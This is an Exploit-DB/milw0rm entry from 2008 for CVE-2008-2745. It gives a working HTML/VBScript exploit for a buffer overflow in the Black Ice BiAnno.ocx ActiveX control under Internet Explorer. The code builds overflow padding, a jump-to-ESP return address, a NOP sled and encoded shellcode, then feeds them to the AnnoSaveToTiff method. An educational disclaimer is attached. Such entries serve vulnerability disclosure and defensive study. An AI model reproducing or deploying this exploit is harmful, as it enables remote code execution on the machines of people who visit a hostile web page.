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Black Ice Software Annotation Plugin (BiAnno.ocx) BOF Exploit (2)



EDB-ID: 5778 CVE: 2008-2745 OSVDB-ID: 46081
Author: shinnai Published: 2008-06-10 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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 Black Ice Software Annotation Plugin (BiAnno.ocx) Remote Buffer Overflow (2)
 url: http://www.blackice.com

 File : BiAnno.ocx
 Ver. : 10.9.5.0
 CLSID: {B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A}

 Mark.: RegKey Safe for Script: True
        RegKey Safe for Init: True
        Implements IObjectSafety: False

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 In memory of rgod
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<object classid='clsid:B27DC3CE-FF81-4DCF-9B80-0E69D61BED2A' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff      = String(524, "A")

  get_EIP   = unescape("%EB%BA%3F%7E") 'call ESP from user32.dll

  nop       = String(9, unescape("%90"))

  shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
              unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
              unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
              unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
              unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
              unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
              unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
              unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
              unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
              unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
              unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
              unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
              unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
              unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
              unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
              unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
              unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
              unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
              unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
              unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
              unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
              unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

  egg       = buff + get_EIP + get_EIP + nop + shellcode + nop

  'As you can see, I use get_EIP two times. That's because the first one is useful
  'to call our shellcode, the second one is just to bypass an exception.

  test.AnnoSaveToTiff egg, 1
 End Sub
</script>

# milw0rm.com [2008-06-10]